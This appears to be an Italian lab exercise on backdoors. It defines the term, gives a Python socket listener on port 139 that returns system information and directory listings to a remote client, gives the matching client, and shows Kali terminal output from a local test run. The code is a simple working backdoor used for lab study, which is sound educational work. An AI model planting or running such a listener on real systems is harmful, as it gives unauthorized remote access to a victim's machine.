

Una backdoor è una vulnerabilità nascosta o un punto d'accesso segreto inserito nel sistema da sviluppatori o attaccanti per consentire l'accesso non autorizzato. Questa porta secondaria bypassa le normali procedure di autenticazione, facilitando attacchi e compromettendo la sicurezza del sistema. Le backdoor possono essere utilizzate per scopi legittimi, come la manutenzione remota, ma sono spesso sfruttate da malintenzionati per fini dannosi, come il furto di dati sensibili o il controllo del sistema da remoto. La loro scoperta e rimozione sono cruciali per garantire la sicurezza informatica e prevenire attività dannose

CODE 1

```
1 import socket
2 import platform
3 import os
4
5 SRV_ADDR = "192.168.32.100"
6 SRV_PORT = 139
7
8 # Creazione del socket
9 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10
11 try:
12     # Binding del socket all'indirizzo e alla porta specificati
13     server_socket.bind((SRV_ADDR, SRV_PORT))
14 except Exception as e:
15     print(f"Errore durante il binding del socket: {e}")
16     server_socket.close()
17     exit()
18
19 # Mette il socket in modalità di ascolto con una coda massima di connessioni pendenti a 1
20 server_socket.listen(1)
21
22 print(f"In attesa di connessioni su {SRV_ADDR}:{SRV_PORT}")
23
24 try:
25     while True:
26         # Accetta una connessione in arrivo e restituisce una nuova socket e l'indirizzo del client
27         connection, address = server_socket.accept()
28         print(f"Client connesso: {address}")
29
30         while True:
31             try:
32                 data = connection.recv(1024)
33                 if not data:
34                     break # Connessione chiusa dal client
35             except Exception as e:
36                 print(f"Errore durante la ricezione dei dati: {e}")
37                 break
38
39             if data.decode("utf-8") == "1":
40                 tosend = f"{platform.platform()} {platform.machine()}"
41                 connection.sendall(tosend.encode())
42             elif data.decode("utf-8") == "2":
43                 try:
44                     data = connection.recv(1024)
45                     filelist = os.listdir(data.decode("utf-8"))
46                     tosend = ",".join(filelist)
47                 except Exception as e:
48                     print(f"Errore durante la gestione della richiesta '2': {e}")
49                     tosend = "Errore nella lettura del percorso"
50                 connection.sendall(tosend.encode())
51             elif data.decode("utf-8") == "0":
52                 print(f"Chiusura connessione con {address}")
53                 connection.close()
54                 break
55
56 except KeyboardInterrupt:
57     print("Chiusura del server.")
58 finally:
59     server_socket.close()
60
```

CODE 2

```
1  import socket
2
3  # input IP e porta
4  SRV_ADDR = input("Type the server IP address: ")
5  SRV_PORT = int(input("Type port: "))
6
7
8  # Funzione per stampare il menu
9  def print_menu():
10     print("\n\n0) Close the connection 1) Get sys info 2) List directory contents ")
11
12
13  # Creazione di un socket
14  my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
15
16  # Connessione al server
17  my_sock.connect((SRV_ADDR, SRV_PORT))
18
19  print("Connected to the server :D")
20  print_menu()
21
22
23  while True:
24     # Ottieni l'input dell'utente per selezionare un'opzione
25     message = input("\nSelect the option: ")
26
27     # Opzione 0: Chiudi la connessione
28     if message == "0":
29         my_sock.sendall(message.encode())
30         my_sock.close()
31         break
32
33     # Opzione 1: Ottieni informazioni di sistema dal server
34     elif message == "1":
35         my_sock.sendall(message.encode())
36         data = my_sock.recv(1024)
37         if not data:
38             break
39         print(data.decode("utf-8"))
40
41     # Opzione 2: Ottieni elenco dei contenuti della directory dal server
42     elif message == "2":
43         path = input("Insert the path: ")
44         my_sock.sendall(message.encode())
45         my_sock.sendall(path.encode())
46         data = my_sock.recv(1024)
47         data = data.decode("utf-8").split(",")
48         print(" *" * 40)
49         for x in data:
50             print(x)
51         print(" *" * 40)
52
```

Funzionamento codici

```
kali@kali: ~/Desktop/provaCodice
File Actions Edit View Help
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)~]
$ cd Desktop/provaCodice

(kali@kali)~/Desktop/provaCodice]
$ ls
client.py  prova.py

(kali@kali)~/Desktop/provaCodice]
$ python prova.py
In attesa di connessioni su 192.168.32.100:139
Client connesso: ('192.168.32.100', 51552)
█
```

CODE 1

```
kali@kali: ~/Desktop/provaCodice
File Actions Edit View Help
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)~]
$ cd Desktop/provaCodice

(kali@kali)~/Desktop/provaCodice]
$ ls
client.py  prova.py

(kali@kali)~/Desktop/provaCodice]
$ python client.py
Type th server IP address: 192.168.32.100
Type port: 139
SIAMO DENTRO FRA :D

0) Close the connection 1) Get sys info 2) List directory conents

select the option: 1
Linux-6.5.0-kali3-amd64-x86_64-with-glibc2.37 x86_64

select the option: █
```

CODE 2